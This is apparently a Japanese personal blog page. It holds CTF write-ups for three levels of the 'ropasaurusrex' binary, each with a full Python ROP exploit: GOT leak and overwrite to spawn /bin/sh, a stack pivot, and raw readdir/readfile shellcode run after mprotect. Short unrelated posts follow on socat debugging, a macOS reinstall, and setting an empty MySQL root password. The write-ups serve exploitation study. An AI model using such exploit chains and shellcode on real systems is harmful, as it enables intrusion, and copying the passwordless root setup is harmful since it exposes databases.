ropasaurusrexのwriteup [level 3]
今回はropasaurusrexのlevel3です。
今回はバイナリがchrootされていてsystem関数が使えないという状況です。
手段としてはreaddirとreadfileのシェルコードを実行させます。
先にプログラムを載せます。
#!/usr/bin/python # -*- coding:utf-8 -*- import socket, struct, telnetlib # --- common funcs --- def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def read_until(f, delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I",a) def u(a): return struct.unpack("<I",a)[0] shellcode_readdir = "\xEB\x38\x5B\x31\xC9\x31\xD2\x6A\x05\x58\xCD\x80\x93\x91\xB2\x7F\xB0\x59\x60\xCD\x80\x85\xC0\x74\x26\xB3\x01\x66\x0F\xB6\x51\x08\x8D\x4C\x19\x09\xB0\x04\xCD\x80\xB2\x01\x8D\x4A\x09\x51\x89\xE5\x55\x59\xB0\x04\xCD\x80\x58\x61\xEB\xD8\xE8\xC3\xFF\xFF\xFF"+"./\x00" shellcode_readfile = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff"+"flag.txt" mode = raw_input('input "dir" or "file"\n') if (mode == 'dir'): shellcode = shellcode_readdir elif (mode == 'file'): shellcode = shellcode_readfile else: print 'exit.\n' quit() # --- main --- s, f = sock("localhost", 4088) # 接続 plt_write = 0x0804830c plt_read = 0x0804832c got_write = 0x8049614 offset_write = 0x000e5650 offset_mprotect = 0x000f2b70 pop3ret = 0x80484b6 bss_address = 0x08049628+0x500 bss_topaddress = 0x08049000 data_address = 0x08049620 leave = 0x080482ea buf = "A"*136 #returnアドレスまでの埋め草 buf += p(bss_address-4) buf += p(plt_read) buf += p(leave) buf += p(0) buf += p(bss_address) buf += p(80) buf2 = p(plt_write) + p(pop3ret) + p(1) + p(got_write) + p(4) buf2 += p(plt_read) + p(pop3ret) + p(0) + p(bss_address+80) + p(len(shellcode)) buf2 += p(plt_read) + p(pop3ret) + p(0) + p(got_write) + p(4) buf2 += p(plt_write) + p(bss_address+80) + p(bss_topaddress) + p(0x1000) + p(7) f.write(buf) f.write(buf2) libc_top_address = u(f.read(4)) - offset_write mprotect_address = libc_top_address + offset_mprotect f.write(shellcode) f.write(p(mprotect_address)) shell(s)
新しい内容はmprotect近辺しかないです。
mprotectを使う意味はbssには書き込み権限と読み込み権限があるが実行権限がないためです。
mprotectのアドレスを調べる手順などはlevel1に書いたので省略。
mprotectの書式を見てみると
int mprotect(const void *addr, size_t len, int prot);
とあります。
mprotect() は、区間 [addr, addr+len-1] のアドレス範囲を含む 呼び出し元のプロセスのメモリーページのアクセス保護を変更する。 addr はページ境界に一致していなければならない。
セクションヘッダ: [番] 名前 タイプ アドレス Off サイズ ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048114 000114 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048128 000128 000020 00 A 0 0 4 [ 3] .note.gnu.build-i NOTE 08048148 000148 000024 00 A 0 0 4 [ 4] .hash HASH 0804816c 00016c 00002c 04 A 6 0 4 [ 5] .gnu.hash GNU_HASH 08048198 000198 000020 04 A 6 0 4 [ 6] .dynsym DYNSYM 080481b8 0001b8 000060 10 A 7 1 4 [ 7] .dynstr STRTAB 08048218 000218 000050 00 A 0 0 1 [ 8] .gnu.version VERSYM 08048268 000268 00000c 02 A 6 0 2 [ 9] .gnu.version_r VERNEED 08048274 000274 000020 00 A 7 1 4 [10] .rel.dyn REL 08048294 000294 000008 08 A 6 0 4 [11] .rel.plt REL 0804829c 00029c 000020 08 A 6 13 4 [12] .init PROGBITS 080482bc 0002bc 000030 00 AX 0 0 4 [13] .plt PROGBITS 080482ec 0002ec 000050 04 AX 0 0 4 [14] .text PROGBITS 08048340 000340 0001ac 00 AX 0 0 16 [15] .fini PROGBITS 080484ec 0004ec 00001c 00 AX 0 0 4 [16] .rodata PROGBITS 08048508 000508 00000d 00 A 0 0 4 [17] .eh_frame PROGBITS 08048518 000518 000004 00 A 0 0 4 [18] .ctors PROGBITS 0804951c 00051c 000008 00 WA 0 0 4 [19] .dtors PROGBITS 08049524 000524 000008 00 WA 0 0 4 [20] .jcr PROGBITS 0804952c 00052c 000004 00 WA 0 0 4 [21] .dynamic DYNAMIC 08049530 000530 0000d0 08 WA 7 0 4 [22] .got PROGBITS 08049600 000600 000004 04 WA 0 0 4 [23] .got.plt PROGBITS 08049604 000604 00001c 04 WA 0 0 4 [24] .data PROGBITS 08049620 000620 000008 00 WA 0 0 4 [25] .bss NOBITS 08049628 000628 000008 00 WA 0 0 4 [26] .comment PROGBITS 00000000 000628 00001c 01 MS 0 0 1 [27] .shstrtab STRTAB 00000000 000644 0000de 00 0 0 1
正直、ここらへんまだ理解できてないのですが、bssアドレスの先頭はアドレスからoffsetを引いたもの。
つまり0x08049628-0x628であると予測します。
サイズはgdb-pedaでメモリマップを見て確認します。
gdb-peda$ i proc map process 13365 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0x0 /home/r30n/workspace/binary/new/2016_08_03/ctf_study2/3.advanced/rop3/ropasaurusrex3 0x8049000 0x804a000 0x1000 0x0 /home/r30n/workspace/binary/new/2016_08_03/ctf_study2/3.advanced/rop3/ropasaurusrex3 0xf7dce000 0xf7fa0000 0x1d2000 0x0 /lib32/libc-2.27.so 0xf7fa0000 0xf7fa1000 0x1000 0x1d2000 /lib32/libc-2.27.so 0xf7fa1000 0xf7fa3000 0x2000 0x1d2000 /lib32/libc-2.27.so 0xf7fa3000 0xf7fa4000 0x1000 0x1d4000 /lib32/libc-2.27.so 0xf7fa4000 0xf7fa7000 0x3000 0x0 0xf7fcf000 0xf7fd1000 0x2000 0x0 0xf7fd1000 0xf7fd4000 0x3000 0x0 [vvar] 0xf7fd4000 0xf7fd6000 0x2000 0x0 [vdso] 0xf7fd6000 0xf7ffc000 0x26000 0x0 /lib32/ld-2.27.so 0xf7ffc000 0xf7ffd000 0x1000 0x25000 /lib32/ld-2.27.so 0xf7ffd000 0xf7ffe000 0x1000 0x26000 /lib32/ld-2.27.so 0xfffdd000 0xffffe000 0x21000 0x0 [stack] gdb-peda$
引数を指定してmprotectが実行されたら最後にshellcodeのアドレスに飛んで終了です。
エクスプロイトするとこんな感じです。
ropasaurusrexのwriteup [level 2]
今回は前回に引き続いてropasaurusrexのlevel2の記事を書きます。
前回の変更点はbufの大きさが256->160に変更になったことです。
これはgdb-pedaでも確認できます。
readの手前でmov DWORD PTR [esp],0x0 , mov DWORD PTR [esp+0x4],eax, mov DWORD PTR [esp+0x8],0xa0とあります。
read関数の書式はint read(int handle, void *buf, unsigned n);となっており、3引数目がデータの大きさを表している。よって[esp+0x8]が0xa0、つまり160byteが書き込める大きさです。
Level1と同様にreturnまでの距離は140byteなので今回は20byteしかないので関数1つしか呼べません。
この場合どうするかというと、書き込み可能、実行可能なセクションに処理を移すということが有効です。
関数はleave retでebp(ベースポインタ)を参照して元に返ります。その性質を利用してold ebpのアドレスを別のアドレスに書き換えてそこに飛ぶようにするのです。
#!/usr/bin/python # -*- coding:utf-8 -*- import socket, struct, telnetlib # --- common funcs --- def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def read_until(f, delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I",a) def u(a): return struct.unpack("<I",a)[0] # --- main --- s, f = sock("localhost", 4088) # 接続 plt_write = 0x0804830c plt_read = 0x0804832c got_write = 0x8049614 offset_write = 0x000e5650 offset_system = 0x0003cc70 pop3ret = 0x80484b6 bss_address = 0x08049628+0x500 data_address = 0x08049620 leave = 0x080482ea buf = "A"*136 #returnアドレスまでの埋め草 buf += p(bss_address-4) buf += p(plt_read) buf += p(leave) buf += p(0) buf += p(bss_address) buf += p(72) buf2 = p(plt_write) + p(pop3ret) + p(1) + p(got_write) + p(4) #writeアドレスのリーク(1) buf2 += p(plt_read) + p(pop3ret) + p(0) + p(data_address) + p(8) #dataに入力されたものを書き込む(2) buf2 += p(plt_read) + p(pop3ret) + p(0) + p(got_write) + p(4) #got_writeに入力されたものを書き込む(3) buf2 += p(plt_write) + p(0xdeadbeef) + p(data_address) #適当に8byteを埋めsystem関数となったwriteをplt_writeで呼び出す(4) f.write(buf) f.write(buf2) libc_system_address = u(f.read(4)) - offset_write + offset_system #リークされたwriteアドレスからoffset_writeを引いて #libcnの先頭アドレスを求めsystem関数アドレスを計算(1) f.write("/bin/sh\0") #dataに"/bin/sh\0"を書き込む(2) f.write(p(libc_system_address)) #got_writeにsystem関数のアドレスを書き込む(3) shell(s)
return の4byte前のold ebpをbssアドレスの4byte引いた値にセットしています。4byte引いたのは関数の最後の処理の際、popされる時にold ebp が4byte加算されるからです。
note.mu
こちらのサイトにebpとespの詳しい説明あります。
read関数から返ってきたらbssに飛ばしたいので直後にleave retしなくてはいけません。ropgadgetのpop3retのようにleave retを探すには
rp-lin-x86 -f ./実行ファイル -r 4
で探せます。
0x080482ea: leave ; ret ; (1 found)
実行すると見つかると思います。
また、bssアドレスに0x500加算している理由ですが、これは関数を追加していくにしたがってスタックフレームが上に伸びる性質があるからです。上というのは低いアドレス二伸びるということです。
bssに処理を移ってからreadとwriteを何回か呼んでいますが、この部分でスタックはどんどん上に積まれます。
もしアドレスに加算しないとbssからはみ出て別のセクション領域に入ってしまい、そこが書き込み不可能もしくは実行不可能領域であった場合にSIGSEGVを起こしてしまうためです。
あとはLevel1で説明したことと変わらないので省略します。
ropasaurusrexのwriteup [level 1]
まずは動作確認から。
r30n@M0C0:~/workspace/binary/ropasaurusrex_1$ ./ropasaurusrex aaaa WIN
実行すると入力待ちになり、文字を適当に入力するとWINと返すようです。
次に長い文字列を入力してみると
r30n@M0C0:~/workspace/binary/ropasaurusrex_1$ ./ropasaurusrex fjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Segmentation fault (コアダンプ)
Segmentation faultが返ってくることから領域を超えた書き込みが可能ということが分かります。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled gdb-peda$
NXが有効なのでスタック上ではシェルコードを実行できない。
これに対して、GOTのwriteに相当する箇所をsystem関数に書き換えてwrite関数が呼ばれたときにsystem("bin/sh")が実行されるようにスタックに積んでいく。
もう少し詳しくまとめると
libcにあるsystem関数を呼び出したい
=>system関数のアドレスが知りたい ※libcの先頭アドレスからwriteやsystemまでいくつ離れているかはコマンドを叩けば分かる
=>libcの先頭アドレスが知りたい
=>got writeアドレスが分かれば、オフセットは分かっているのでlibcの先頭アドレスが分かる。
=>plt writeでgot writeのアドレスをリーク。
=>plt readを使って書き換える。
という目標の逆の順番で一つ一つ解決していく。
ちなみに
ldd ./実行ファイルでどのlibcを使っているかが分かる。
nm -D libcファイル | grep "write"でwriteとlibcの先頭アドレスのオフセットが分かる。
gdb-peda上でropgadgetとコマンドを打つとpop3retのアドレスが分かる
got tableを見るにはreadelfコマンドで各セクションを表示させ、gotの先頭アドレスを[telescop gotのアドレス]とする。
gdb-peda$ pattc 256 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G' gdb-peda$
このパターン文字列を実行後の入力待ちの際に入力することによってreturnまでの長さがわかる。
[----------------------------------registers-----------------------------------] EAX: 0x100 EBX: 0x0 ECX: 0xffffd020 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA\214\320\377\377") EDX: 0x100 ESI: 0xf7fa3000 --> 0x1d4d6c EDI: 0x0 EBP: 0x41514141 ('AAQA') ESP: 0xffffd0b0 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G") EIP: 0x41416d41 ('AmAA') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41416d41 [------------------------------------stack-------------------------------------] 0000| 0xffffd0b0 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G") 0004| 0xffffd0b4 ("AASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G") 0008| 0xffffd0b8 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G") 0012| 0xffffd0bc ("TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G") 0016| 0xffffd0c0 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G") 0020| 0xffffd0c4 ("ArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G") 0024| 0xffffd0c8 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G") 0028| 0xffffd0cc ("AAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV gdb-peda$ patto $eip 1094806849 found at offset: 140 gdb-peda$
r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$ ldd ropasaurusrex linux-gate.so.1 (0xf7f35000) libc.so.6 => /lib32/libc.so.6 (0xf7d2f000) /lib/ld-linux.so.2 (0xf7f37000) r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$ nm -D /lib32/libc.so.6 | grep "write" 00136a80 T _IO_do_write 00072730 T _IO_do_write 00136400 T _IO_file_write 000714f0 T _IO_file_write 00066380 T _IO_fwrite 0006c020 T _IO_wdo_write 000e2b40 T __libc_pwrite 000e2ca0 W __pwrite64 000e5650 W __write 000f7540 T eventfd_write 00066380 W fwrite 00070040 T fwrite_unlocked 000f82d0 T process_vm_writev 000e2b40 W pwrite 000e2ca0 W pwrite64 000eec40 T pwritev 000ef040 T pwritev2 000eecf0 T pwritev64 000ef190 T pwritev64v2 000e5650 W write 000eea40 W writev r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$ nm -D /lib32/libc.so.6 | grep "system" 0003cc70 T __libc_system 001270f0 T svcerr_systemerr 0003cc70 W system r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$
pltの各アドレスはobjdumpで確認できます。
r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$ objdump -d ropasaurusrex | grep plt 80482c3: e8 00 00 00 00 call 80482c8 <__gmon_start__@plt-0x34> 80482d7: 74 05 je 80482de <__gmon_start__@plt-0x1e> 80482d9: e8 1e 00 00 00 call 80482fc <__gmon_start__@plt> 80482de: e8 ed 00 00 00 call 80483d0 <read@plt+0xa4> 80482e3: e8 d8 01 00 00 call 80484c0 <read@plt+0x194> セクション .plt の逆アセンブル: 080482ec <__gmon_start__@plt-0x10>: 080482fc <__gmon_start__@plt>: 8048307: e9 e0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10> 0804830c <write@plt>: 8048317: e9 d0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10> 0804831c <__libc_start_main@plt>: 8048327: e9 c0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10> 0804832c <read@plt>: 8048337: e9 b0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10> 804835c: e8 bb ff ff ff call 804831c <__libc_start_main@plt> 804837e: 75 3f jne 80483bf <read@plt+0x93> 8048398: 73 1e jae 80483b8 <read@plt+0x8c> 80483b6: 72 e8 jb 80483a0 <read@plt+0x74> 80483dd: 74 12 je 80483f1 <read@plt+0xc5> 80483e6: 74 09 je 80483f1 <read@plt+0xc5> 8048416: e8 11 ff ff ff call 804832c <read@plt> 8048426: e8 c9 ff ff ff call 80483f4 <read@plt+0xc8> 8048442: e8 c5 fe ff ff call 804830c <write@plt> 8048466: e8 4f 00 00 00 call 80484ba <read@plt+0x18e> 8048474: e8 43 fe ff ff call 80482bc <__gmon_start__@plt-0x40> 804848c: 74 24 je 80484b2 <read@plt+0x186> 80484b0: 72 de jb 8048490 <read@plt+0x164> 80484cf: 74 13 je 80484e4 <read@plt+0x1b8> 80484e2: 75 f4 jne 80484d8 <read@plt+0x1ac> 80484f3: e8 00 00 00 00 call 80484f8 <read@plt+0x1cc> 80484ff: e8 6c fe ff ff call 8048370 <read@plt+0x44> r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$
readelfで各セクションのアドレスを見てgotセクションのアドレスをgdbのtelescopeでwriteのgotアドレスを確認します。
r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$ readelf -S ropasaurusrex There are 28 section headers, starting at offset 0x724: セクションヘッダ: [番] 名前 タイプ アドレス Off サイズ ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048114 000114 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048128 000128 000020 00 A 0 0 4 [ 3] .note.gnu.build-i NOTE 08048148 000148 000024 00 A 0 0 4 [ 4] .hash HASH 0804816c 00016c 00002c 04 A 6 0 4 [ 5] .gnu.hash GNU_HASH 08048198 000198 000020 04 A 6 0 4 [ 6] .dynsym DYNSYM 080481b8 0001b8 000060 10 A 7 1 4 [ 7] .dynstr STRTAB 08048218 000218 000050 00 A 0 0 1 [ 8] .gnu.version VERSYM 08048268 000268 00000c 02 A 6 0 2 [ 9] .gnu.version_r VERNEED 08048274 000274 000020 00 A 7 1 4 [10] .rel.dyn REL 08048294 000294 000008 08 A 6 0 4 [11] .rel.plt REL 0804829c 00029c 000020 08 A 6 13 4 [12] .init PROGBITS 080482bc 0002bc 000030 00 AX 0 0 4 [13] .plt PROGBITS 080482ec 0002ec 000050 04 AX 0 0 4 [14] .text PROGBITS 08048340 000340 0001ac 00 AX 0 0 16 [15] .fini PROGBITS 080484ec 0004ec 00001c 00 AX 0 0 4 [16] .rodata PROGBITS 08048508 000508 00000d 00 A 0 0 4 [17] .eh_frame PROGBITS 08048518 000518 000004 00 A 0 0 4 [18] .ctors PROGBITS 0804951c 00051c 000008 00 WA 0 0 4 [19] .dtors PROGBITS 08049524 000524 000008 00 WA 0 0 4 [20] .jcr PROGBITS 0804952c 00052c 000004 00 WA 0 0 4 [21] .dynamic DYNAMIC 08049530 000530 0000d0 08 WA 7 0 4 [22] .got PROGBITS 08049600 000600 000004 04 WA 0 0 4 [23] .got.plt PROGBITS 08049604 000604 00001c 04 WA 0 0 4 [24] .data PROGBITS 08049620 000620 000008 00 WA 0 0 4 [25] .bss NOBITS 08049628 000628 000008 00 WA 0 0 4 [26] .comment PROGBITS 00000000 000628 00001c 01 MS 0 0 1 [27] .shstrtab STRTAB 00000000 000644 0000de 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), I (info), L (link order), O (extra OS processing required), G (group), T (TLS), C (compressed), x (unknown), o (OS specific), E (exclude), p (processor specific) r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$
gdb-peda$ telescope 0x08049600 0000| 0x8049600 --> 0x0 0004| 0x8049604 --> 0x8049530 --> 0x1 0008| 0x8049608 --> 0xf7ffd940 --> 0x0 0012| 0x804960c --> 0xf7fead80 (push eax) 0016| 0x8049610 --> 0x8048302 (<__gmon_start__@plt+6>: push 0x0) 0020| 0x8049614 --> 0x8048312 (<write@plt+6>: push 0x8) 0024| 0x8049618 --> 0xf7de6d90 (<__libc_start_main>: call 0xf7f02bd9) 0028| 0x804961c --> 0xf7eb3580 (<read>: push esi) gdb-peda$
pop3retはgdb-pedaでropgadgetと打つと確認できます。
pop3retはreadやwriteが関数の処理から返ってきた時に3つの引数を消すために必要なんです。
ret = 0x80482ca popret = 0x80483c3 pop2ret = 0x80483c2 pop3ret = 0x80484b6 pop4ret = 0x80484b5 addesp_12 = 0x80483bf addesp_44 = 0x80484b2 gdb-peda$
必要な情報はこれで揃ったので、これらの情報を使ってプログラムを組みます。
#!/usr/bin/python # -*- coding:utf-8 -*- import socket, struct, telnetlib # --- common funcs --- def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def read_until(f, delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I",a) def u(a): return struct.unpack("<I",a)[0] # --- main --- s, f = sock("localhost", 4088) # 接続 plt_write = 0x0804830c plt_read = 0x0804832c got_write = 0x8049614 offset_write = 0x000e5650 offset_system = 0x0003cc70 pop3ret = 0x80484b6 bss_address = 0x08049628 buf = "A"*140 #returnアドレスまでの埋め草 buf += p(plt_write) + p(pop3ret) + p(1) + p(got_write) + p(4) #writeアドレスのリーク(1) buf += p(plt_read) + p(pop3ret) + p(0) + p(bss_address) + p(8) #bssに入力されたものを書き込む(2) buf += p(plt_read) + p(pop3ret) + p(0) + p(got_write) + p(4) #got_writeに入力されたものを書き込む(3) buf += p(plt_write) + p(0xdeadbeef) + p(bss_address) #適当に8byteを埋めsystem関数となったwriteをplt_writeで呼び出す(4) f.write(buf) libc_system_address = u(f.read(4)) - offset_write + offset_system #リークされたwriteアドレスからoffset_writeを引いて #libcnの先頭アドレスを求めsystem関数アドレスを計算(1) f.write("/bin/sh\0") #bssに"/bin/sh\0"を書き込む(2) f.write(p(libc_system_address)) #got_writeにsystem関数のアドレスを書き込む(3) shell(s)
pwnでsocatを使って環境を作る[備忘録]
socatを使うとPwnを解く際にリモート環境を再現してくれる。
socatを実行
socat tcp-listen:4088,reuseaddr,fork, exec:./main.sh
main.shの中身
r30n@M0C0:~/workspace/binary/2016_08_03/Production/ctf_study2/2.hands-on$ cat main.sh
gdbserver localhost:1234 ./ropasaurusrex
netcatでアクセス
nc localhost:4088
gdbを起動
gdb -x cmd
cmdの中身
r30n@M0C0:~/workspace/binary/2016_08_03/Production/ctf_study2/2.hands-on$ cat cmd
file ./ropasaurusrex
target remote localhost:1234
b *0x8048416
c
MacOS HighSierra 再インストールのお話
今までメインでLinuxOSを使っていたのですが、今働いてる会社のメンバーが自分以外全員Macユーザーで環境を統一した方がやりやすいということで先日会社からMacbook proを支給されました。iCloudの同期などの初期設定を済ませ開発しようとターミナルを立ち上げると
tanakashotaMacbook-pro~:tanakashota$
こんな感じでフルネームと長さが気にいらなかったので手順に従ってホームディレクトリ名とアカウント名を変えるといろいろバグりました。グループIDが「-2-4-2-3-4-4-3-3-1」のように負の数続いてたりして、直すのめんどくさそうだったのでもう1回MacOS再インストールすれば良いかと思ってApple公式サポートの手順に従ってMacを初期化。
初期化してSDD上のボリュームを全削除した後、HighSierraのインストールが完了するのを待っていると
「APFSインストール用のprebootボリュームを作成できませんでした」という意味わからんことを言われる。
エラー内容でググったら1件だけ手順を詳細にまとめてくれている記事があったので以下を参考にしました。これありがたかった。
qiita.com
SMCとPARAMのリセットを済ませた後、SierraインストーラをUSBに入れる作業に移ります。
以下のリンクからSierraをダウンロードしてください。
https://itunes.apple.com/jp/app/macos-sierra/id1127487414?mt=12&at=11lLqM
↑自分のMacはぶっ壊れてるのでもちろんappstoreも使えません。自分は近くにいた同僚にMac貸してもらってやりました。
ダウンロードしたPCでターミナルを開いて以下のコマンドを打つ。
$ sudo /Applications/Install\ macOS\ Sierra.app/Contents/Resources/createinstallmedia --volume /Volumes/{USBの名前} --applicationpath /Applications/Install\ macOS\ Sierra.app --nointeraction
※{USBの名前}は適宜変えてください。
10分くらい待つと終わります。
USBにSierraインストーラを入れた後は、壊れているMacにそのUSBを繋げてOptionキーを押しながら起動します。
HighSierraユーティリティではなくSierraユーティリティを開くとさっきまで表示されていなかった「preboot」や「VM」などが表示されていると思います。それらを消すのですが写真とか撮るの忘れたので上のqiitaの記事を見ながら慎重に行ってください。簡単に言うと「AppleAPFSMedia」を選択してその中身のボリュームもろとも全て削除すると「AppleSSD SM...」がひとつ残るのでそれをOS X Extend(うろ覚え)&Guid方式で削除してみる。削除すると、指定した形式で「AppleSSD SM...」が作り直される。
この作業が終わったらUSBの接続を切ってHighSierraユーティリティを開いて「OSの再インストール」を選択してしばらく待つ。
20分くらい経つと終わってるはずです。会社のPCだったので本当に焦りましたが直せて良かったです。
参考になる記事も少ないので誰かの参考になれば幸いです!
mysql5.7にsudoなしpasswordなしでログインする[備忘録]
「sudoなしでログイン」
mysql> ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY '{PW}';
※{PW}はrootパスワード
「passwordなしでログイン」
mysql> UPDATE user SET authentication_string=password('') WHERE user='root';